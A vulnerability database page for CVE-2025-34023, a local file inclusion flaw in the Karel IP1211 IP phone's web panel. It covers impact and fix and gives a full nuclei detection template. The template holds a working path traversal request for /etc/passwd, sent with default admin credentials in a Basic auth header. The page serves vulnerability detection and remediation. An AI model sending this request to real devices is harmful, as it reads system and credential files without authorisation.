HexBrain

Browse / CVEs / CVE-2025-34023

CVE-2025-34023· CWE-22

Karel IP Phone IP1211 Web Management Panel - Local File Inclusion

highseverity
7.5CVSS score
1.6%likelihood of exploitation, next 30 days
76%of all CVEs are less likely
Readycheck to confirm it

Karel IP Phone IP1211 Web Management Panel is vulnerable to local file inclusion and can allow remote attackers to access arbitrary files stored on the remote device via the 'cgiServer.exx' endpoint and the 'page' parameter.

Impact

Attackers can read arbitrary files including sensitive configuration and credential files stored on the device through path traversal in the page parameter.

Fix

Update Karel IP Phone IP1211 firmware to the latest version that properly validates file paths, or restrict access to the cgiServer.exx endpoint.

How to confirm it

Send: GET {{BaseURL}}/cgi-bin/cgiServer.exx?page=../../../../../../../../../../../etc/passwd
Positive when: matches /root:[x*]:0:0/ AND status 200

Run it with nuclei: nuclei -id CVE-2025-34023 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2025-34023

info:
  name: Karel IP Phone IP1211 Web Management Panel - Local File Inclusion
  author: 0x_Akoko
  severity: high
  description: Karel IP Phone IP1211 Web Management Panel is vulnerable to local file inclusion and can allow remote attackers to access arbitrary files stored on the remote device via the 'cgiServer.exx' endpoint and the 'page' parameter.
  impact: |
    Attackers can read arbitrary files including sensitive configuration and credential files stored on the device through path traversal in the page parameter.
  remediation: |
    Update Karel IP Phone IP1211 firmware to the latest version that properly validates file paths, or restrict access to the cgiServer.exx endpoint.
  reference:
    - https://cxsecurity.com/issue/WLB-2020100038
    - https://www.karel.com.tr/urun-cozum/ip1211-ip-telefon
    - https://nvd.nist.gov/vuln/detail/CVE-2025-34023
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2025-34023
    epss-score: 0.0158
    epss-percentile: 0.75713
    cwe-id: CWE-22
  metadata:
    max-request: 1
  tags: cve,cve2025,karel,lfi,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/cgi-bin/cgiServer.exx?page=../../../../../../../../../../../etc/passwd"

    headers:
      Authorization: Basic YWRtaW46YWRtaW4=

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:[x*]:0:0"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from